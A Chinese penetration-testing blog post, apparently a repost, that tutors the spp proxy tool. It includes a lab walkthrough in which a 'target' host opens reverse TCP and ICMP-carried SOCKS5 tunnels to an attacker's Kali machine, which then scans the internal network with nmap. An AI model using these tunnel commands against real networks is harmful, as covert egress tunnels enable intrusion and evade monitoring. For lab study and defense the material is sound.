当前位置:   article > 正文

内网渗透系列:内网隧道之spp_渗透数据库隧道

渗透数据库隧道

前言

本文研究支持多协议双向代理的一个工具,spp

github:https://github.com/esrrhs/spp

一、概述

1、简介

2020年新鲜出炉,持续更新,来自腾讯大佬,用Go编写

  • 支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
  • 支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
  • 支持协议和类型的组合使用
  • 支持全平台

2、原理

在这里插入图片描述

3、用法

(1)服务器

启动server,假设服务器ip是www.server.com,监听端口8888

./spp -type server -proto tcp -listen :8888
  • 1

也可以同时监听其他类型的端口与协议

./spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0
  • 1

也可以使用docker

docker run --name my-server -d --restart=always --network host esrrhs/spp ./spp -proto tcp -listen :8888
  • 1

(2)客户端

启动tcp正向代理,将www.server.com的8080端口映射到本地8080,这样访问本地的8080就相当于访问到了www.server.com的8080

./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
  • 1

启动tcp反向代理,将本地8080映射到www.server.com的8080端口,这样访问www.server.com的8080就相当于访问到了本地的8080

./spp -name "test" -type reverse_proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
  • 1

启动tcp正向socks5代理,在本地8080端口开启socks5协议,通过server访问server所在的网络

./spp -name "test" -type socks5_client -server www.server.com:8888 -fromaddr :8080 -proxyproto tcp
  • 1

启动tcp反向socks5代理,在www.server.com的8080端口开启socks5协议,通过client访问client所在的网络

./spp -name "test" -type reverse_socks5_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
  • 1

其他代理协议,只需要修改client的proxyproto参数即可,例如

# 代理udp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp

# 代理rudp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8081 -toaddr :8081 -proxyproto rudp

# 代理ricmp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8082 -toaddr :8082 -proxyproto ricmp

# 同时代理上述三种
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -fromaddr :8081 -toaddr :8081 -proxyproto rudp -fromaddr :8082 -toaddr :8082 -proxyproto ricmp
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

client和server之间的内部通信,也可以修改为其他协议,外部协议与内部协议之间自动转换。例如

# 代理tcp,内部用rudp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rudp

# 代理tcp,内部用ricmp协议转发
./spp -name "test" -type proxy_client -server www.server.com -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto ricmp

# 代理udp,内部用tcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto tcp

# 代理udp,内部用kcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto kcp

# 代理tcp,内部用quic协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto quic

# 代理tcp,内部用rhttp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rhttp
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

也可以使用docker

docker run --name my-client -d --restart=always --network host esrrhs/spp ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
  • 1

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机
在这里插入图片描述

2、TCP的反向连接

(1)服务端

监听8888端口,TCP的协议

./spp -type server -proto tcp -listen :8888 
  • 1

在这里插入图片描述

(2)客户端

启动反向代理,TCP协议,将服务端的2222端口映射到客户端的80端口,即服务端访问自己的2222端口相当于访问客户端的80端口

./spp -name "test" -type reverse_proxy_client -server 192.168.10.128:8888 -fromaddr :2222 -toaddr :80 -proxyproto tcp
  • 1

在这里插入图片描述
可以开启80端口的Apache看看

(3)隧道建立

服务端访问2222端口,映射到客户端80端口,打开了Apache界面
在这里插入图片描述

(4)抓包看看

建立连接,返回端口、用户和密码
在这里插入图片描述
使用80端口,加密了
在这里插入图片描述

3、ICMP的SOCKS5代理反向连接

(1)服务端

./spp -type server -proto ricmp -listen 0.0.0.0
  • 1

在这里插入图片描述

(2)客户端

./spp -name "test" -type reverse_socks5_client -server 192.168.10.128 -fromaddr :1080 -proxyproto tcp -proto ricmp
  • 1

在这里插入图片描述

(3)建立隧道

设置下proxychains
在这里插入图片描述
然后通过代理进行nmap
在这里插入图片描述
在这里插入图片描述
会打印如下log

在这里插入图片描述

(4)抓包看看

建立连接,返回端口、用户和密码
在这里插入图片描述
心跳包
在这里插入图片描述
nmap期间

在这里插入图片描述

三、探索

1、源码与分析

维护了一个非常庞大的go-engine库
可以深入学习下

2、检测与绕过

由于spp功能太全了,所以除了用某种功能时的流量特征,更多的可能要从端行为来考虑

结语

spp在完成一个大统一的出网工具的路上踏出一大步

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/526045
推荐阅读
相关标签
  

闽ICP备14008679号